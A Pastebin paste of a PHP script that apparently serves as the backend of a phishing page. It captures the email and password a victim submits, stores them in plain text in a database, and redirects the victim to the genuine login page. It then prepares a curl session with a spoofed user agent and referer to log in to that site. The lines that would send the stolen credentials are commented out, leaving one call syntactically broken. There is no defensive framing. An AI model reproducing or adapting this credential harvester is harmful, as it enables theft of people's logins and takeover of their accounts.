SHARE
TWEET

Untitled

a guest Oct 22nd, 2017 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. ob_start();
  3. $servername = "192.168.0.70";
  4. $username = "capt";
  5. $password = "xxxxxxxxx";
  6. $dbname = "xxdatabase";
  7.  
  8. // Create connection
  9. $conn = mysqli_connect($servername, $username, $password, $dbname);
  10.  
  11. // Check connection
  12. if (!$conn) {
  13.     die("Connection failed: " . mysqli_connect_error());
  14. }
  15. echo "Connected successfully";
  16.  
  17. // Escape user inputs for security
  18. $email = mysqli_real_escape_string($conn, $_POST['email']);
  19. $pass = mysqli_real_escape_string($conn, $_POST['pass']);
  20.  
  21.  
  22. // attempt insert query execution
  23. $sql = "INSERT INTO visitor_table (email, pass)
  24.         VALUES ('$email', '$pass')";
  25. if(mysqli_query($conn, $sql)){
  26.     echo "Records added successfully.";
  27. } else{
  28.     echo "ERROR: Could not able to execute $sql. " . mysqli_error($conn);
  29. }
  30. // close connection
  31. mysqli_close($conn);
  32.  
  33. header('Location: https://www.example.com/login.php');
  34.  
  35. ob_end_flush();
  36.  
  37. // curl commnads to login to example.com
  38. $ch = curl_init();
  39. curl_setopt($ch, CURLOPT_URL, 'https://www.example.com/login.php');
  40. //curl_setopt($ch, CURLOPT_POSTFIELDS,'email='.urlencode($email).'&pass='.urlencode($pass).'&login=Login');
  41. curl_setopt($ch, //CURLOPT_POSTFIELDS,'email='.urlencode($_POST['email']).'&pass='.urlencode($_POST['pass']).'&login=Login');
  42. curl_setopt($ch, CURLOPT_POST, 1);
  43. curl_setopt($ch, CURLOPT_HEADER, 0);
  44. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  45. curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt");
  46. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt");
  47. curl_setopt($ch, CURLOPT_COOKIESESSION, false);
  48. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  49. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  50. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  51. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");
  52. curl_setopt($ch, CURLOPT_REFERER, "http://www.example.com");
  53. $page = curl_exec($ch) or die(curl_error($ch));
  54. echo $page;
  55. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top